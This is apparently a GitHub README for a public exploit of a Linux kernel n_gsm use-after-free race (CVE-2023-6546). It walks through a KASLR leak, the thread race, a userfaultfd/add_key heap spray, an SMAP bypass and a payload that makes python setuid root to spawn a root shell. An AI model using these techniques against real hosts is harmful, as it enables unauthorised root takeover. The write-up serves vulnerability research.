Linux Kernel GSM Multiplexing Race Condition Local Privilege Escalation Vulnerability (CVE-2023-6546)
[https://www.zerodayinitiative.com/advisories/ZDI-24-020/](https://www.zerodayinitiative.com/advisories/ZDI-24-020/)
Contact me:
Twitter: [https://twitter.com/p1k4l4](https://twitter.com/p1k4l4)
Linkedin: [https://www.linkedin.com/in/nassim-asrir-b73a57122/](https://www.linkedin.com/in/nassim-asrir-b73a57122/)
[](https://github.com/Nassim-Asrir/ZDI-24-020/#overview)Overview
================================================================
This is a custom exploit which targets Ubuntu 18.04+20.04 LTS/Centos 8/RHEL 8 to attain root privileges via arbitrary kernel code execution on SMP systems.
[](https://github.com/Nassim-Asrir/ZDI-24-020/#features)Features
================================================================
Highlights of the significant features include:
* Bypasses KASLR
* Bypasses SMAP/SMEP
* Supports Linux x86\_64
[](https://github.com/Nassim-Asrir/ZDI-24-020/#exploit)Exploit
==============================================================
The exploit consists of a binary executable which exploits the vulnerability.
File Path
Description
exploit.c
The C file containing the exploit code
symbols
Scripts for generating kernel offsets
When the exploit binary is run, it will attempt to exploit a race condition and spawn a root shell. The exploit must be run on a multi-core system with SMP enabled. Ideally at least 3 cores, but it will also work on dualcore systems, although runtime will increase.
To set up a custom payload to execute as root, the PYTHON\_PAYLOAD in exploit.c can be modified.
[](https://github.com/Nassim-Asrir/ZDI-24-020/#build-process)Build Process
==========================================================================
Compile exploit.c: gcc exploit.c -o exploit -lpthread
[](https://github.com/Nassim-Asrir/ZDI-24-020/#vulnerability-overview)Vulnerability Overview
--------------------------------------------------------------------------------------------
The vulnerability exploited is a race condition leading to a use-after-free on the kmalloc-1024 slab. The bug exists in the n\_gsm tty line discipline, created for gsm modems.
The race condition results in a UAF on a struct gsm\_dlci while restarting the gsm mux.
In linux 4.13 the timer interfaces changed slightly and workarounds were introduced in many parts of the code, including the n\_gsm module, leading to the introduction of the gsm\_disconnect function and a general restructuring of the mux restart code.
If two processes are going through the mux reset process at the same time, we can trigger a use-after-free on the struct gsm\_dlci object and gain code execution.
[](https://github.com/Nassim-Asrir/ZDI-24-020/#exploitation-walkthrough)Exploitation Walkthrough
------------------------------------------------------------------------------------------------
#### [](https://github.com/Nassim-Asrir/ZDI-24-020/#bypassing-kaslr)Bypassing KASLR
By default, Ubuntu compiles in the Xen Paravirtualization feature. This feature exposes a leak of the kernel text base via the "/sys/kernel/notes" file, which is world-readable.
In _arch/x86/xen/xen-head.S:_
#ifdef CONFIG\_XEN\_PV
ELFNOTE(Xen, XEN\_ELFNOTE\_ENTRY, \_ASM\_PTR startup\_xen)
#endif
#### [](https://github.com/Nassim-Asrir/ZDI-24-020/#racing-the-mux-restart)Racing the mux restart
We spawn two threads that each trigger the ioctl GSMIOC\_SETCONF on the same tty file descriptor with the gsm line discipline enabled to trigger the race condition.
static int gsmld\_config(struct tty\_struct \*tty, struct gsm\_mux \*gsm,
struct gsm\_config \*c)
{
...
if (need\_close || need\_restart) {
int ret;
ret \= gsm\_disconnect(gsm);
if (ret)
return ret;
}
if (need\_restart)
gsm\_cleanup\_mux(gsm);
...
if (need\_restart)
gsm\_activate\_mux(gsm);
...
}
Both threads enter gsm\_disconnect.
static int gsm\_disconnect(struct gsm\_mux \*gsm)
{
struct gsm\_dlci \*dlci \= gsm\->dlci\[0\];
struct gsm\_control \*gc;
if (!dlci)
return 0;
/\* In theory disconnecting DLCI 0 is sufficient but for some
modems this is apparently not the case. \*/
gc \= gsm\_control\_send(gsm, CMD\_CLD, NULL, 0);
if (gc)
gsm\_control\_wait(gsm, gc); \[1\]
del\_timer\_sync(&gsm\->t2\_timer);
/\* Now we are sure T2 has stopped \*/
gsm\_dlci\_begin\_close(dlci); \[2\]
wait\_event\_interruptible(gsm\->event,
dlci\->state \== DLCI\_CLOSED); \[3\]
if (signal\_pending(current))
return \-EINTR;
return 0;
}
The first thread gets stuck on \[1\], we let it go by responding to the control message and get stuck on \[3\]. The second thread gets stuck on \[1\].
We then let the first thread go by closing the dlci, and it goes on to gsm\_cleanup. We let the second thread go aswell by responding to it's control message, but we keep it blocked in the wait by spinning on the same core so it won't get scheduled. Unfortunately we can't hold off letting the second thread go, because the first thread might end up resetting the wait queue and we would block forever.
static void gsm\_cleanup\_mux(struct gsm\_mux \*gsm)
{
...
mutex\_lock(&gsm\->mutex);
for (i \= 0; i < NUM\_DLCI; i++)
if (gsm\->dlci\[i\])
gsm\_dlci\_release(gsm\->dlci\[i\]);
mutex\_unlock(&gsm\->mutex);
...
}
The first thread then goes ahead and frees dlci\[0\].
We then spray to fill that slab object and eventually the second thread gets scheduled again, with a freed dlci object referenced.
The second thread executes \[2\].
static void gsm\_dlci\_begin\_close(struct gsm\_dlci \*dlci)
{
struct gsm\_mux \*gsm \= dlci\->gsm;
if (dlci\->state \== DLCI\_CLOSED || dlci\->state \== DLCI\_CLOSING) \[4\]
return;
dlci\->retries \= gsm\->n2;
dlci\->state \= DLCI\_CLOSING;
gsm\_command(dlci\->gsm, dlci\->addr, DISC|PF); \[5\]
mod\_timer(&dlci\->t1, jiffies + gsm\->t1 \* HZ / 100); \[6\]
}
static inline void gsm\_command(struct gsm\_mux \*gsm, int addr, int control)
{
gsm\_send(gsm, addr, 1, control); \[7\]
}
static void gsm\_send(struct gsm\_mux \*gsm, int addr, int cr, int control)
{
...
gsm\->output(gsm, cbuf, len); \[8\]
...
}
If the second thread woke up too early, hopefully \[4\] won't pass.
Through \[7\] and \[8\] we then get a controlled function pointer call.
We also try to avoid a crash at \[6\] by having the timer function execute as soon as possible and call a dummy function.
#### [](https://github.com/Nassim-Asrir/ZDI-24-020/#spraying-with-userfaultfd--add_key)Spraying with userfaultfd / add\_key
By using userfaultfd we can effectively block copy\_from\_user operations in the kernel indefinitely when copying data over page boundaries.
We use this in conjunction with add\_key to spray fake gsm\_dlci objects.
buf \= mmap(NULL, 4096\*2, PROT\_READ|PROT\_WRITE, MAP\_FIXED|MAP\_PRIVATE|MAP\_ANONYMOUS, \-1, 0);
memset(buf, 0x41, 4096);
...
reg.range.start \= (unsigned long)buf;
reg.range.len \= 4096\*2;
...
if(ioctl(ufd\_fd, UFFDIO\_REGISTER, ®)) die("UFFDIO\_REGISTER"); \[1\]
syscall(\_\_NR\_add\_key, "user", "wtf", buf + 4096 \- 1023, 1024, \-123); \[2\]
SYSCALL\_DEFINE5(add\_key, const char \_\_user \*, \_type,
const char \_\_user \*, \_description,
const void \_\_user \*, \_payload,
size\_t, plen,
key\_serial\_t, ringid)
{
...
payload \= kvmalloc(plen, GFP\_KERNEL); \[3\]
copy\_from\_user(payload, \_payload, plen); \[4\]
...
}
At \[1\] we register a memory range for userfaultfd handling. At \[2\] we pass the buffer into the syscall add\_key. At \[3\] we kmalloc a block with an user controlled length. At \[4\] the data is copied in, but since the second page of the allocation is uninitialized, the syscall will block.
#### [](https://github.com/Nassim-Asrir/ZDI-24-020/#bypassing-smap)Bypassing SMAP
Since we need to know the address of our fake struct gsm\_mux we use a global static buffer to store it. By using iptables to add an invalid cgroup filter the buffer kernfs\_pr\_cont\_buf gets filled with our payload data.
#### [](https://github.com/Nassim-Asrir/ZDI-24-020/#the-payload)The payload
When gsm->output(gsm, ...) gets called, we instead call \_\_rb\_free\_aux(gsm) by overriding that function pointer with our UAF.
This is a pivot to get an arbitrary function call with a controlled argument.
\_\_rb\_free\_aux then calls ((struct ring\_buffer\*)gsm)->aux\_free(((struct ring\_buffer\*)gsm)->aux\_priv) Which basically means we have a controlled call with a controlled argument, user\_controlled1(user\_controlled2).
We then call run\_cmd("/bin/chmod u+s /usr/bin/python") to make the python interpreter setuid root.
Back in userland we then use the setuid python interpreter to do some cleanup and spawn a root shell.
[](https://github.com/Nassim-Asrir/ZDI-24-020/#notes)Notes
==========================================================
The following are some notes.
The exploit has version and architecture specific offsets which have to be updated for new kernel images.
These can be gathered from /proc/kallsyms of a running kernel, Symbol.map or directly from the kernel image.
We include a directory 'symbols' which contains scripts for generating offsets.
File Path
Description
download\_pkgs\_ubuntu\_centos.py
Download kernel packages for ubuntu/centos
download\_pkgs\_rhel.py
Download kernel packages for RHEL
extract\_syms\_ubuntu.py
Generate offsets from kernel packages for ubuntu
extract\_syms\_redhat.py
Generate offsets from kernel packages for redhat
kallsyms.py
Generate offsets from kallsyms of a running system
Unavailable Comments